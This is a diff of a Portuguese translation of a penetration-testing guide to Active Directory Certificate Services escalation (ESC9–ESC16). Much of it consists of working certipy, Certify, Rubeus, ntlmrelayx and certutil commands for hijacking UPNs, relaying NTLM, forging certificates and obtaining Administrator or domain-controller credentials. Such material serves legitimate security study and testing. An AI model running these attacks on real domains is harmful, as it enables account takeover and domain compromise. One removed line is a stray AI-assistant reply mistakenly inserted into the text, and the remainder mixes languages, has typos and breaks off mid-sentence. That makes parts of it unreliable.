-Suponha que `John@corp.local` tenha permissões `GenericWrite` sobre `Jane@corp.local`, com o objetivo de comprometer `Administrator@corp.local`. O template de certificado `ESC9`, no qual `Jane@corp.local` tem permissão para se inscrever, está configurado com a flag `CT_FLAG_NO_SECURITY_EXTENSION` em sua configuração `msPKI-Enrollment-Flag`.
+Suponha que `John@corp.local` possua permissões `GenericWrite` sobre `Jane@corp.local`, com o objetivo de comprometer `Administrator@corp.local`. O template de certificado `ESC9`, no qual `Jane@corp.local` tem permissão para se inscrever, está configurado com a flag `CT_FLAG_NO_SECURITY_EXTENSION` em sua configuração `msPKI-Enrollment-Flag`.
 
-Inicialmente, o hash da `Jane` é obtido usando Shadow Credentials, graças ao `GenericWrite` de `John`:
+Inicialmente, o hash de `Jane` é obtido usando Shadow Credentials, graças ao `GenericWrite` de `John`:
 ```bash
 certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane
 ```
-Em seguida, o `userPrincipalName` de `Jane` é modificado para `Administrator`, omitindo propositalmente a parte do domínio `@corp.local`:
+Em seguida, o `userPrincipalName` de `Jane` é modificado para `Administrator`, omitindo propositalmente a parte de domínio `@corp.local`:
 ```bash
 certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
 ```
-Esta modificação não viola as restrições, dado que `Administrator@corp.local` permanece distinto como o `userPrincipalName` do `Administrator`.
+Esta modificação não viola as restrições, uma vez que `Administrator@corp.local` permanece distinto como o `userPrincipalName` do `Administrator`.
 
-Em seguida, o template de certificado `ESC9`, marcado como vulnerável, é solicitado como `Jane`:
+Em seguida, o modelo de certificado `ESC9`, marcado como vulnerável, é solicitado como `Jane`:
 ```bash
 certipy req -username jane@corp.local -hashes <hash> -ca corp-DC-CA -template ESC9
 ```
 Observa-se que o `userPrincipalName` do certificado reflete `Administrator`, desprovido de qualquer “object SID”.
 
-O `userPrincipalName` de `Jane` é então revertido ao original, `Jane@corp.local`:
+O `userPrincipalName` de `Jane` é então revertido para o original dela, `Jane@corp.local`:
 ```bash
 certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
 ```
-Tentar autenticar com o certificado emitido agora produz o NT hash de `Administrator@corp.local`. O comando deve incluir `-domain <domain>` devido à ausência de especificação de domínio no certificado:
+Ao tentar autenticar com o certificado emitido, agora obtém-se o hash NT de `Administrator@corp.local`. O comando deve incluir `-domain <domain>` devido à falta de especificação de domínio no certificado:
 ```bash
 certipy auth -pfx adminitrator.pfx -domain corp.local
 ```
@@ -499,7 +499,7 @@ certipy auth -pfx adminitrator.pfx -domain corp.local
 
 ### Explicação
 
-Dois valores de chaves de registro no controlador de domínio são referidos pelo ESC10:
+Dois valores de chave de registro no controlador de domínio são referenciados pelo ESC10:
 
 - O valor padrão para `CertificateMappingMethods` em `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` é `0x18` (`0x8 | 0x10`), anteriormente definido como `0x1F`.
 - A configuração padrão para `StrongCertificateBindingEnforcement` em `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` é `1`, anteriormente `0`.
@@ -510,23 +510,23 @@ Quando `StrongCertificateBindingEnforcement` está configurado como `0`.
 
 **Caso 2**
 
-Se `CertificateMappingMethods` incluir o bit `UPN` (`0x4`).
+Se `CertificateMappingMethods` inclui o bit `UPN` (`0x4`).
 
 ### Caso de Abuso 1
 
 Com `StrongCertificateBindingEnforcement` configurado como `0`, uma conta A com permissões `GenericWrite` pode ser explorada para comprometer qualquer conta B.
 
-Por exemplo, tendo permissões `GenericWrite` sobre `Jane@corp.local`, um atacante pretende comprometer `Administrator@corp.local`. O procedimento espelha o ESC9, permitindo que qualquer template de certificado seja utilizado.
+Por exemplo, ao ter permissões `GenericWrite` sobre `Jane@corp.local`, um atacante pretende comprometer `Administrator@corp.local`. O procedimento espelha o ESC9, permitindo que qualquer modelo de certificado seja utilizado.
 
 Inicialmente, o hash de `Jane` é obtido usando Shadow Credentials, explorando o `GenericWrite`.
 ```bash
 certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane
 ```
-Em seguida, o `userPrincipalName` de `Jane` é alterado para `Administrator`, omitindo deliberadamente a parte `@corp.local` para evitar uma violação de restrição.
+Posteriormente, o `userPrincipalName` de `Jane` é alterado para `Administrator`, omitindo deliberadamente a parte `@corp.local` para evitar uma violação de restrição.
 ```bash
 certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
 ```
-Em seguida, um certificado que permite autenticação de cliente é solicitado como `Jane`, usando o template padrão `User`.
+Em seguida, um certificado que permite autenticação do cliente é solicitado como `Jane`, usando o modelo `User` padrão.
 ```bash
 certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
 ```
@@ -534,13 +534,13 @@ O `userPrincipalName` de `Jane` é então revertido ao seu valor original, `Jane
 ```bash
 certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
 ```
-Autenticar-se com o certificado obtido retornará o NT hash de `Administrator@corp.local`, exigindo que o domínio seja especificado no comando devido à ausência de informações de domínio no certificado.
+Autenticar com o certificado obtido fornecerá o hash NT de `Administrator@corp.local`, sendo necessário especificar o domínio no comando devido à ausência de detalhes do domínio no certificado.
 ```bash
 certipy auth -pfx administrator.pfx -domain corp.local
 ```
 ### Caso de Abuso 2
 
-Com `CertificateMappingMethods` contendo o flag de bit `UPN` (`0x4`), uma conta A com permissões `GenericWrite` pode comprometer qualquer conta B que não possua a propriedade `userPrincipalName`, incluindo contas de máquina e o administrador de domínio integrado `Administrator`.
+Com `CertificateMappingMethods` contendo a flag de bit `UPN` (`0x4`), uma conta A com permissões `GenericWrite` pode comprometer qualquer conta B que não possua a propriedade `userPrincipalName`, incluindo contas de máquina e o administrador de domínio integrado `Administrator`.
 
 Aqui, o objetivo é comprometer `DC$@corp.local`, começando por obter o hash de `Jane` através de Shadow Credentials, aproveitando o `GenericWrite`.
 ```bash
@@ -550,31 +550,31 @@ O `userPrincipalName` de `Jane` é então definido como `DC$@corp.local`.
 ```bash
 certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local'
 ```
-Um certificado para autenticação de cliente é solicitado como `Jane` usando o modelo padrão `User`.
+Um certificado para autenticação de cliente é solicitado como `Jane` usando o modelo `User` padrão.
 ```bash
 certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
 ```
-O `userPrincipalName` de `Jane` é revertido ao seu original após este processo.
+O `userPrincipalName` de `Jane` é revertido para o seu valor original após este processo.
 ```bash
 certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local'
 ```
-Para autenticar via Schannel, a opção `-ldap-shell` do Certipy é utilizada, indicando sucesso na autenticação como `u:CORP\DC$`.
+Para autenticar via Schannel, é utilizada a opção `-ldap-shell` do Certipy, indicando sucesso na autenticação como `u:CORP\DC$`.
 ```bash
 certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
 ```
-Através do shell LDAP, comandos como `set_rbcd` permitem ataques de Resource-Based Constrained Delegation (RBCD), potencialmente comprometendo o controlador de domínio.
+Através do LDAP shell, comandos como `set_rbcd` permitem ataques Resource-Based Constrained Delegation (RBCD), potencialmente comprometendo o domain controller.
 ```bash
 certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
 ```
-Esta vulnerabilidade também se estende a qualquer conta de usuário que não possua um `userPrincipalName` ou em que ele não coincida com o `sAMAccountName`, sendo a conta padrão `Administrator@corp.local` um alvo principal devido aos seus privilégios LDAP elevados e à ausência de um `userPrincipalName` por padrão.
+Essa vulnerabilidade também se estende a qualquer conta de usuário que não possua um `userPrincipalName` ou quando este não corresponda ao `sAMAccountName`, sendo a conta padrão `Administrator@corp.local` um alvo primário devido aos seus privilégios LDAP elevados e à ausência de um `userPrincipalName` por padrão.
 
-## Reencaminhamento de NTLM para ICPR - ESC11
+## Relaying NTLM to ICPR - ESC11
 
 ### Explicação
 
-Se o CA Server não estiver configurado com `IF_ENFORCEENCRYPTICERTREQUEST`, isso pode permitir NTLM relay attacks sem assinatura via serviço RPC. [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/).
+Se o CA Server não estiver configurado com `IF_ENFORCEENCRYPTICERTREQUEST`, isso pode possibilitar ataques de NTLM relay sem assinatura via serviço RPC. [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/).
 
-Você pode usar `certipy` para enumerar se `Enforce Encryption for Requests` está Disabled e o `certipy` mostrará as vulnerabilidades `ESC11`.
+Você pode usar `certipy` para enumerar se `Enforce Encryption for Requests` está Disabled e certipy mostrará `ESC11` Vulnerabilities.
 ```bash
 $ certipy find -u mane@domain.local -p 'password' -dc-ip 192.168.100.100 -stdout
 Certipy v4.0.0 - by Oliver Lyak (ly4k)
@@ -591,9 +591,9 @@ Enforce Encryption for Requests     : Disabled
 ESC11                             : Encryption is not enforced for ICPR requests and Request Disposition is set to Issue
 
 ```
-### Abuse Scenario
+### Cenário de Abuso
 
-É necessário configurar um servidor de relay:
+É necessário configurar um relay server:
 ```bash
 $ certipy relay -target 'rpc://DC01.domain.local' -ca 'DC01-CA' -dc-ip 192.168.100.100
 Certipy v4.7.0 - by Oliver Lyak (ly4k)
@@ -618,23 +618,23 @@ Ou usando [sploutchy's fork of impacket](https://github.com/sploutchy/impacket)
 ```bash
 $ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -smb2support
 ```
-## Shell access to ADCS CA with YubiHSM - ESC12
+## Acesso via shell ao ADCS CA com YubiHSM - ESC12
 
 ### Explicação
 
-Administrators can set up the Certificate Authority to store it on an external device like the "Yubico YubiHSM2".
+Administradores podem configurar a Autoridade de Certificação para armazená‑la em um dispositivo externo como o "Yubico YubiHSM2".
 
-Se um dispositivo USB estiver conectado ao servidor CA via uma porta USB, ou a um USB device server no caso do servidor CA ser uma máquina virtual, uma chave de autenticação (às vezes referida como "password") é requerida para o Key Storage Provider gerar e utilizar chaves no YubiHSM.
+Se um dispositivo USB estiver conectado ao servidor CA via uma porta USB, ou a um USB device server no caso do servidor CA ser uma máquina virtual, uma chave de autenticação (às vezes referida como "password") é exigida para o Key Storage Provider gerar e utilizar chaves no YubiHSM.
 
-Essa chave/password é armazenada no registro em `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` em texto não cifrado.
+Esta chave/senha é armazenada no registro em `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` em texto claro.
 
-Reference in [here](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm).
+Referência em [here](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm).
 
 ### Cenário de Abuso
 
-Se a chave privada da CA estiver armazenada em um dispositivo USB físico quando você obtiver shell access, é possível recuperar a chave.
+Se a chave privada da CA estiver armazenada em um dispositivo USB físico e você obtiver acesso via shell, é possível recuperar a chave.
 
-Primeiro, você precisa obter o certificado da CA (isto é público) e então:
+Primeiro, você precisa obter o certificado da CA (este é público) e então:
 ```cmd
 # import it to the user store with CA certificate
 $ certutil -addstore -user my <CA certificate file>
@@ -642,17 +642,17 @@ $ certutil -addstore -user my <CA certificate file>
 # Associated with the private key in the YubiHSM2 device
 $ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA Common Name>
 ```
-Finalmente, use o comando certutil `-sign` para forjar um novo certificado arbitrário usando o certificado CA e sua chave privada.
+Por fim, use o comando certutil `-sign` para forjar um novo certificado arbitrário usando o certificado da CA e sua chave privada.
 
 ## OID Group Link Abuse - ESC13
 
 ### Explicação
 
-O atributo `msPKI-Certificate-Policy` permite que a política de emissão seja adicionada ao template de certificado. Os objetos `msPKI-Enterprise-Oid` responsáveis por emitir políticas podem ser descobertos no Configuration Naming Context (CN=OID,CN=Public Key Services,CN=Services) do container PKI OID. Uma política pode ser vinculada a um AD group usando o atributo `msDS-OIDToGroupLink` desse objeto, permitindo que um sistema autorize um usuário que apresente o certificado como se ele fosse membro do grupo. [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).
+O atributo `msPKI-Certificate-Policy` permite que a política de emissão seja adicionada ao modelo de certificado. Os objetos `msPKI-Enterprise-Oid` responsáveis por emitir políticas podem ser descobertos no Configuration Naming Context (CN=OID,CN=Public Key Services,CN=Services) do contêiner PKI OID. Uma política pode ser vinculada a um grupo AD usando o atributo `msDS-OIDToGroupLink` desse objeto, permitindo que um sistema autorize um usuário que apresente o certificado como se ele fosse membro do grupo. [Referência aqui](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).
 
-Em outras palavras, quando um usuário tem permissão para solicitar um certificado e o certificado está vinculado a um OID group, o usuário pode herdar os privilégios desse grupo.
+Em outras palavras, quando um usuário tem permissão para solicitar um certificado e o certificado está vinculado a um grupo OID, o usuário pode herdar os privilégios desse grupo.
 
-Use [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) para encontrar OIDToGroupLink:
+Utilize [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) para encontrar OIDToGroupLink:
 ```bash
 Enumerating OIDs
 ------------------------
@@ -678,45 +678,45 @@ OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
 
 Encontre uma permissão de usuário — pode usar `certipy find` ou `Certify.exe find /showAllPermissions`.
 
-Se `John` tiver permissão para enroll no `VulnerableTemplate`, o usuário pode herdar os privilégios do grupo `VulnerableGroup`.
+Se `John` tiver permissão para enroll `VulnerableTemplate`, o usuário pode herdar os privilégios do grupo `VulnerableGroup`.
 
-Tudo o que precisa fazer é especificar o template; ele receberá um certificado com direitos OIDToGroupLink.
+Tudo o que ele precisa fazer é especificar o template; ele receberá um certificado com direitos OIDToGroupLink.
 ```bash
 certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate'
 ```
-## Configuração vulnerável de renovação de certificados - ESC14
+## Configuração vulnerável de renovação de certificado - ESC14
 
 ### Explicação
 
 A descrição em https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping é notavelmente completa. Abaixo está uma citação do texto original.
 
-ESC14 addresses vulnerabilities arising from "weak explicit certificate mapping", primarily through the misuse or insecure configuration of the `altSecurityIdentities` attribute on Active Directory user or computer accounts. This multi-valued attribute allows administrators to manually associate X.509 certificates with an AD account for authentication purposes. When populated, these explicit mappings can override the default certificate mapping logic, which typically relies on UPNs or DNS names in the SAN of the certificate, or the SID embedded in the `szOID_NTDS_CA_SECURITY_EXT` security extension.
+ESC14 aborda vulnerabilidades que surgem de "weak explicit certificate mapping", principalmente pelo uso indevido ou configuração insegura do atributo `altSecurityIdentities` em contas de usuário ou computador do Active Directory. Esse atributo multi-valor permite que administradores associem manualmente certificados X.509 a uma conta AD para fins de autenticação. Quando preenchido, esses mapeamentos explícitos podem sobrescrever a lógica padrão de mapeamento de certificados, que normalmente depende de UPNs ou nomes DNS no SAN do certificado, ou do SID incorporado na extensão de segurança `szOID_NTDS_CA_SECURITY_EXT`.
 
-A "weak" mapping occurs when the string value used within the `altSecurityIdentities` attribute to identify a certificate is too broad, easily guessable, relies on non-unique certificate fields, or uses easily spoofable certificate components. If an attacker can obtain or craft a certificate whose attributes match such a weakly defined explicit mapping for a privileged account, they can use that certificate to authenticate as and impersonate that account.
+Um mapeamento "fraco" ocorre quando o valor string usado dentro do atributo `altSecurityIdentities` para identificar um certificado é muito amplo, facilmente adivinhável, depende de campos de certificado não-únicos, ou usa componentes de certificado facilmente falsificáveis. Se um atacante puder obter ou criar um certificado cujos atributos correspondam a um mapeamento explícito definido de forma fraca para uma conta privilegiada, ele pode usar esse certificado para autenticar-se como e se passar por essa conta.
 
-Exemplos de strings de mapeamento potencialmente fracas em `altSecurityIdentities` incluem:
+Exemplos de strings de mapeamento `altSecurityIdentities` potencialmente fracas incluem:
 
-- Mapeamento apenas pelo Subject Common Name (CN) comum: por exemplo, `X509:<S>CN=SomeUser`. Um atacante pode conseguir obter um certificado com esse CN a partir de uma fonte menos segura.
-- Uso de Issuer Distinguished Names (DNs) ou Subject DNs excessivamente genéricos sem qualificação adicional como um número de série específico ou subject key identifier: por exemplo, `X509:<I>CN=SomeInternalCA<S>CN=GenericUser`.
-- Emprego de outros padrões previsíveis ou identificadores não criptográficos que um atacante possa satisfazer em um certificado que possa obter legitimamente ou forjar (se tiver comprometido uma CA ou encontrado um template vulnerável como em ESC1).
+- Mapeamento apenas por um Subject Common Name (CN) comum: ex., `X509:<S>CN=SomeUser`. Um atacante pode conseguir um certificado com esse CN a partir de uma fonte menos segura.
+- Uso de Issuer Distinguished Names (DNs) ou Subject DNs excessivamente genéricos sem qualificação adicional como um número de série específico ou subject key identifier: ex., `X509:<I>CN=SomeInternalCA<S>CN=GenericUser`.
+- Emprego de outros padrões previsíveis ou identificadores não-cripográficos que um atacante possa satisfazer em um certificado que possa legítima ou forjadamente obter (se tiver comprometido uma CA ou encontrado um template vulnerável como em ESC1).
 
 O atributo `altSecurityIdentities` suporta vários formatos para mapeamento, tais como:
 
 - `X509:<I>IssuerDN<S>SubjectDN` (mapeia pelo Issuer e Subject DN completos)
 - `X509:<SKI>SubjectKeyIdentifier` (mapeia pelo valor da extensão Subject Key Identifier do certificado)
-- `X509:<SR>SerialNumberBackedByIssuerDN` (mapeia pelo número de série, implicitamente qualificado pelo Issuer DN) - isto não é um formato padrão, normalmente é `<I>IssuerDN<SR>SerialNumber`.
-- `X509:<RFC822>EmailAddress` (mapeia por um nome RFC822, tipicamente um endereço de e-mail, a partir do SAN)
+- `X509:<SR>SerialNumberBackedByIssuerDN` (mapeia pelo número de série, implicitamente qualificado pelo Issuer DN) - isto não é um formato padrão, geralmente é `<I>IssuerDN<SR>SerialNumber`.
+- `X509:<RFC822>EmailAddress` (mapeia por um nome RFC822, tipicamente um endereço de email, do SAN)
 - `X509:<SHA1-PUKEY>Thumbprint-of-Raw-PublicKey` (mapeia por um hash SHA1 da chave pública bruta do certificado - geralmente forte)
 
-A segurança desses mapeamentos depende fortemente da especificidade, unicidade e força criptográfica dos identificadores de certificado escolhidos na string de mapeamento. Mesmo com modos fortes de vinculação de certificados habilitados em Domain Controllers (que afetam principalmente mapeamentos implícitos baseados em SAN UPNs/DNS e na extensão SID), uma entrada `altSecurityIdentities` mal configurada ainda pode apresentar um caminho direto para falsificação de identidade se a própria lógica de mapeamento for falha ou permissiva demais.
+A segurança desses mapeamentos depende fortemente da especificidade, unicidade e força criptográfica dos identificadores de certificado escolhidos na string de mapeamento. Mesmo com modos de ligação de certificado fortes habilitados nos Domain Controllers (que afetam principalmente mapeamentos implícitos baseados em SAN UPNs/DNS e a extensão SID), uma entrada `altSecurityIdentities` mal configurada ainda pode apresentar um caminho direto para impersonação se a própria lógica de mapeamento for falha ou permissiva demais.
 
 ### Cenário de Abuso
 
-ESC14 targets **explicit certificate mappings** in Active Directory (AD), specifically the `altSecurityIdentities` attribute. If this attribute is set (by design or misconfiguration), attackers can impersonate accounts by presenting certificates that match the mapping.
+ESC14 mira em **mapeamentos explícitos de certificados** no Active Directory (AD), especificamente o atributo `altSecurityIdentities`. Se esse atributo estiver definido (por design ou má configuração), atacantes podem se passar por contas apresentando certificados que correspondam ao mapeamento.
 
-#### Cenário A: Atacante pode escrever em `altSecurityIdentities`
+#### Cenário A: O atacante pode gravar em `altSecurityIdentities`
 
-**Pré-condição**: O atacante tem permissões de escrita no atributo `altSecurityIdentities` da conta alvo ou a permissão para concedê-lo na forma de uma das seguintes permissões no objeto AD alvo:
+**Pré-condição**: O atacante tem permissões de escrita no atributo `altSecurityIdentities` da conta alvo ou permissão para concedê-lo na forma de uma das seguintes permissões no objeto AD alvo:
 - Write property `altSecurityIdentities`
 - Write property `Public-Information`
 - Write property (all)
@@ -726,22 +726,22 @@ ESC14 targets **explicit certificate mappings** in Active Directory (AD), specif
 - `GenericAll`
 - Owner*.
 
-#### Cenário B: Alvo possui mapeamento fraco via X509RFC822 (Email)
+#### Cenário B: O alvo tem mapeamento fraco via X509RFC822 (Email)
 
-- **Pré-condição**: O alvo tem um mapeamento X509RFC822 fraco em altSecurityIdentities. Um atacante pode definir o atributo mail da vítima para corresponder ao nome X509RFC822 do alvo, solicitar um certificado em nome da vítima e usá-lo para autenticar-se como o alvo.
+- **Pré-condição**: O alvo possui um mapeamento X509RFC822 fraco em altSecurityIdentities. Um atacante pode definir o atributo mail da vítima para corresponder ao nome X509RFC822 do alvo, solicitar um certificado como a vítima, e usá-lo para autenticar-se como o alvo.
 
-#### Cenário C: Alvo possui mapeamento X509IssuerSubject
+#### Cenário C: O alvo tem mapeamento X509IssuerSubject
 
-- **Pré-condição**: O alvo tem um mapeamento explícito X509IssuerSubject fraco em `altSecurityIdentities`. O atacante pode definir o atributo `cn` ou `dNSHostName` em um principal vítima para corresponder ao subject do mapeamento X509IssuerSubject do alvo. Em seguida, o atacante pode solicitar um certificado em nome da vítima e usar esse certificado para autenticar-se como o alvo.
+- **Pré-condição**: O alvo possui um mapeamento explícito X509IssuerSubject fraco em `altSecurityIdentities`. O atacante pode definir o atributo `cn` ou `dNSHostName` em um principal vítima para corresponder ao subject do mapeamento X509IssuerSubject do alvo. Então, o atacante pode solicitar um certificado como a vítima e usar esse certificado para autenticar-se como o alvo.
 
-#### Cenário D: Alvo possui mapeamento X509SubjectOnly
+#### Cenário D: O alvo tem mapeamento X509SubjectOnly
 
-- **Pré-condição**: O alvo tem um mapeamento explícito X509SubjectOnly fraco em `altSecurityIdentities`. O atacante pode definir o atributo `cn` ou `dNSHostName` em um principal vítima para corresponder ao subject do mapeamento X509SubjectOnly do alvo. Em seguida, o atacante pode solicitar um certificado em nome da vítima e usar esse certificado para autenticar-se como o alvo.
+- **Pré-condição**: O alvo possui um mapeamento explícito X509SubjectOnly fraco em `altSecurityIdentities`. O atacante pode definir o atributo `cn` ou `dNSHostName` em um principal vítima para corresponder ao subject do mapeamento X509SubjectOnly do alvo. Então, o atacante pode solicitar um certificado como a vítima e usar esse certificado para autenticar-se como o alvo.
 
-### operações concretas
-#### Cenário A
+### concrete operations
+#### Scenario A
 
-Solicitar um certificado do template de certificado `Machine`
+Request a certificate of the certificate template `Machine`
 ```bash
 .\Certify.exe request /ca:<ca> /template:Machine /machine
 ```
@@ -753,32 +753,32 @@ Autenticar (usando o certificado)
 ```bash
 .\Rubeus.exe asktgt /user:<user> /certificate:C:\esc13.pfx /nowrap
 ```
-I don't have the file content. Please paste the markdown from src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md (or attach the text) so I can translate it to Portuguese and clean it up as requested. If by "Cleanup (optional)" you mean specific edits (style, punctuation, remove TODOs), say which.
+Limpeza (opcional)
 ```bash
 Remove-AltSecIDMapping -DistinguishedName "CN=TargetUserA,CN=Users,DC=external,DC=local" -MappingString "X509:<I>DC=local,DC=external,CN=external-EXTCA01-CA<SR>250000000000a5e838c6db04f959250000006c"
 ```
-For more specific attack methods in various attack scenarios, please refer to the following: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0).
+Para métodos de ataque mais específicos em vários cenários, por favor consulte o seguinte: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0).
 
-## EKUwu Application Policies(CVE-2024-49019) - ESC15
+## Políticas de Aplicação EKUwu (CVE-2024-49019) - ESC15
 
 ### Explicação
 
-A descrição em https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc é excepcionalmente detalhada. Abaixo está uma citação do texto original.
+A descrição em https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc é extraordinariamente detalhada. Abaixo está uma citação do texto original.
 
-Usando templates de certificado versão 1 padrão incorporados, um atacante pode criar um CSR para incluir application policies que são preferidas em relação aos atributos de Extended Key Usage configurados especificados no template. O único requisito são direitos de inscrição, e isso pode ser usado para gerar certificados de autenticação de cliente, agente de solicitação de certificado e assinatura de código usando o template **_WebServer_**.
+Using built-in default version 1 certificate templates, an attacker can craft a CSR to include application policies that are preferred over the configured Extended Key Usage attributes specified in the template. The only requirement is enrollment rights, and it can be used to generate client authentication, certificate request agent, and codesigning certificates using the **_WebServer_** template
 
 ### Abuso
 
-O seguinte faz referência a [este link]((https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu),Clique para ver métodos de uso mais detalhados.
+O seguinte é referenciado em [este link]((https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu),Clique para ver métodos de uso mais detalhados.
 
 
-Certipy's `find` command can help identify V1 templates that are potentially susceptible to ESC15 if the CA is unpatched.
+O comando `find` do Certipy pode ajudar a identificar templates V1 que potencialmente são suscetíveis ao ESC15 se a CA não estiver corrigida.
 ```bash
 certipy find -username cccc@aaa.htb -password aaaaaa -dc-ip 10.0.0.100
 ```
-#### Cenário A: Direct Impersonation via Schannel
+#### Cenário A: Impersonação Direta via Schannel
 
-**Passo 1: Solicitar um certificado, injetando a Application Policy "Client Authentication" e o UPN alvo.** Atacante `attacker@corp.local` mira em `administrator@corp.local` usando o template "WebServer" V1 (which allows enrollee-supplied subject).
+**Passo 1: Solicitar um certificado, injetando a Application Policy "Client Authentication" e o UPN de destino.** O atacante `attacker@corp.local` tem como alvo `administrator@corp.local` usando o template "WebServer" V1 (que permite subject fornecido pelo inscrito).
 ```bash
 certipy req \
 -u 'attacker@corp.local' -p 'Passw0rd!' \
@@ -791,13 +791,13 @@ certipy req \
 - `-application-policies 'Client Authentication'`: Injeta o OID `1.3.6.1.5.5.7.3.2` na extensão Application Policies do CSR.
 - `-upn 'administrator@corp.local'`: Define o UPN no SAN para impersonação.
 
-**Passo 2: Autentique via Schannel (LDAPS) usando o certificado obtido.**
+**Passo 2: Autenticar via Schannel (LDAPS) usando o certificado obtido.**
 ```bash
 certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' -ldap-shell
 ```
 #### Cenário B: PKINIT/Kerberos Impersonation via Enrollment Agent Abuse
 
-**Passo 1: Solicitar um certificado de um template V1 (com "Enrollee supplies subject"), injetando a Application Policy "Certificate Request Agent".** Este certificado é para o atacante (`attacker@corp.local`) se tornar um enrollment agent. Nenhum UPN é especificado para a própria identidade do atacante aqui, pois o objetivo é a capacidade de agente.
+**Passo 1: Solicitar um certificado de um V1 template (with "Enrollee supplies subject"), injetando a "Certificate Request Agent" Application Policy.** Este certificado é para o atacante (`attacker@corp.local`) tornar-se um enrollment agent. Nenhum UPN é especificado para a identidade do atacante aqui, já que o objetivo é a capacidade de agente.
 ```bash
 certipy req \
 -u 'attacker@corp.local' -p 'Passw0rd!' \
@@ -807,7 +807,7 @@ certipy req \
 ```
 - `-application-policies 'Certificate Request Agent'`: Injeta OID `1.3.6.1.4.1.311.20.2.1`.
 
-**Passo 2: Use o certificado "agent" para solicitar um certificado em nome de um usuário alvo privilegiado.** Esta é uma etapa semelhante ao ESC3, usando o certificado do Passo 1 como o certificado agent.
+**Passo 2: Use o certificado "agent" para solicitar um certificado em nome de um usuário privilegiado alvo.** Este é um passo ESC3-like, usando o certificado do Passo 1 como o certificado "agent".
 ```bash
 certipy req \
 -u 'attacker@corp.local' -p 'Passw0rd!' \
@@ -819,27 +819,27 @@ certipy req \
 ```bash
 certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100'
 ```
-## Extensão de Segurança Desativada na CA (Globalmente) - ESC16
+## Security Extension Disabled on CA (Globally)-ESC16
 
-### Explicação
+### Explanation
 
-**ESC16 (Elevação de Privilégio via Ausência da Extensão szOID_NTDS_CA_SECURITY_EXT)** refere-se ao cenário em que, se a configuração do AD CS não exigir a inclusão da extensão **szOID_NTDS_CA_SECURITY_EXT** em todos os certificados, um atacante pode explorar isso ao:
+**ESC16 (Elevation of Privilege via Missing szOID_NTDS_CA_SECURITY_EXT Extension)** refere-se ao cenário em que, se a configuração do AD CS não impor a inclusão da extensão **szOID_NTDS_CA_SECURITY_EXT** em todos os certificados, um atacante pode explorar isso da seguinte forma:
 
-1. Solicitar um certificado **sem vinculação de SID**.
+1. Solicitar um certificado **without SID binding**.
 
-2. Usar esse certificado **para autenticação como qualquer conta**, por exemplo, se passando por uma conta de alto privilégio (p.ex., um Administrador de Domínio).
+2. Usar este certificado **for authentication as any account**, por exemplo, personificando uma conta de alto privilégio (p.ex., um Domain Administrator).
 
-Você também pode consultar este artigo para saber mais sobre o princípio detalhado: https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6
+Você também pode consultar este artigo para aprender mais sobre o princípio detalhado: https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6
 
-### Abuso
+### Abuse
 
-O seguinte faz referência a [este link](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally). Clique para ver métodos de uso mais detalhados.
+O seguinte faz referência a [this link](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally), Clique para ver métodos de uso mais detalhados.
 
-Para identificar se o ambiente Active Directory Certificate Services (AD CS) é vulnerável ao **ESC16**
